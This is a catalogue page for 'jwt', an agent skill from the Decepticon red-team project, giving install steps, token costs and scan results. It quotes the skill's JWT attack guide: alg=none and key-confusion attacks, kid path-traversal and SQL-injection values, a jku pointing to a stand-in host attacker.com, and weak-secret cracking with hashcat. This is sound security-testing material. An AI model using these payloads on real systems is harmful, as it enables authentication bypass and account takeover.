jwt

jwt is a skill for Claude Code, Codex from PurpleAILAB/Decepticon. It costs 39 tokens per session (1,437 once invoked), scanned A, original, Apache-2.0.

A security testing guide for JSON Web Token (JWT) mistakes. JWTs are signed data strings commonly used to represent a logged-in user or carry permissions.

In plain words
What is it for?
Use it to inspect token algorithms, signing keys, key references, JWKS endpoints, and token validation logic.
Why use it?
It helps find token forgery, weak signing settings, unsafe key handling, and changes to claims such as a user’s role.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one. Also seen: positional $N argument.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is {"alg":"HS256","kid":"../../../dev/null"} // sign with empty content.

Good fit Use it to inspect token algorithms, signing keys, key references, JWKS endpoints, and token validation logic.

Compare 6 skills from other repositories ↓
About the project

Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.

PurpleAILAB/Decepticon · 5,491 stars · on GitHub · decepticon.red

Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/PurpleAILAB/Decepticon
agentmods
npx agentmods add skills/purpleailab/decepticon/jwt

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for jwt

README.md
[![agentmods](https://agentmods.dev/badge/skills/purpleailab/decepticon/jwt/github.svg)](https://agentmods.dev/skills/purpleailab/decepticon/jwt)
Your own site
<a href="https://agentmods.dev/skills/purpleailab/decepticon/jwt"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/jwt/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for jwt

Your own site · 80×15
<a href="https://agentmods.dev/skills/purpleailab/decepticon/jwt"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/jwt.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 39 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,437 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 1 finding, up to high

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • high YARA Match · line 72
    YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).
    Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00039 $0.01437
Opus 5 $0.00019 $0.00718
Sonnet 5 $0.00008 $0.00287
Haiku 4.5 $0.00004 $0.00144

Measured 9d ago against content hash 8d4ce4086173, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-12, from the pricing page.

Security

Grade A, and why

jwt scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -s https://target/.well-known/jwks.json | jq -r '.keys[0]'
Origin

Copies of this mod

1 near-identical copy found in the catalogue:

  • jwt — 100% identical, 0 lines differ
packages/decepticon/decepticon/skills/standard/exploit/web/jwt/SKILL.md · 141 lines

How it starts

The opening of the file, as written. The whole thing — 141 lines — stays where its author put it; the contents beside it link to each section on GitHub.

JSON Web Token Attacks

JWTs are signed (HS256/RS256/ES256) or sometimes mis-configured to accept none. The header carries the alg + optionally kid/jku/x5u references. Each is a potential exploitation surface.

1. Anatomy

header.payload.signature — each base64url. Decode w/ jwt_tool or jwt-cracker:

jwt_tool eyJhbGc...   # decode + verify + tamper modes
echo "$JWT" | cut -d. -f1-2 | tr '_-' '/+' | base64 -d 2>/dev/null

2. Attack surface

2.1 alg=none bypass

Set {"alg":"none"} in header, strip signature, send header.payload.:

jwt_tool $JWT -X a    # alg=none attack

Worked on auth0 / pyjwt / many home-rolled libs pre-2017. Still appears in legacy systems.

2.2 HS256 vs RS256 confusion

Server uses RS256 (asymmetric) and verifies w/ public key. Attacker switches alg to HS256 and signs w/ the public key (which the server will use as the HMAC secret):

# Get the public key
curl -s https://target/.well-known/jwks.json | jq -r '.keys[0]'
# Or pull from a redirect / unauth /pubkey endpoint

jwt_tool $JWT -X k -pk public.pem   # alg confusion attack

2.3 kid header injection

kid (key ID) sometimes resolves to a file path or DB key:

{"alg":"HS256","kid":"../../../dev/null"}     // sign with empty content
{"alg":"HS256","kid":"key1' UNION SELECT 'mykey"}  // SQLi in kid lookup

jwt_tool -X i -I -hc kid -hv path chains kid injection variants.

2.4 jku / x5u URL injection

jku (JWK Set URL) tells the server WHERE to fetch keys. If unvalidated, attacker hosts their own:

{"alg":"RS256","jku":"https://attacker.com/jwks.json"}

Then https://attacker.com/jwks.json returns attacker's public key, signed JWT is "valid".

Bypass URL filters via:

  • subdomain confusion (https://target.com.attacker.com/jwks.json)
  • userinfo (https://[email protected]/jwks.json)
  • redirect chains via target's open-redirect

2.5 Weak HMAC secret

HS256 with weak secret crackable offline:

hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
john --format=HMAC-SHA256 jwt.txt --wordlist=rockyou.txt

Hashcat mode 16500 = JWT. Service-account secrets often dev/secret/ changeme/company-name patterns.

Read the full file on GitHub · 141 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 9d ago First seen · 141 lines · 39 tokens per session scan A 8d4ce4086173

Subscribe to this mod's changes

jwt is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,491 stars, last pushed 13d ago), licensed Apache-2.0. It adds 39 tokens to every session and 1,437 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

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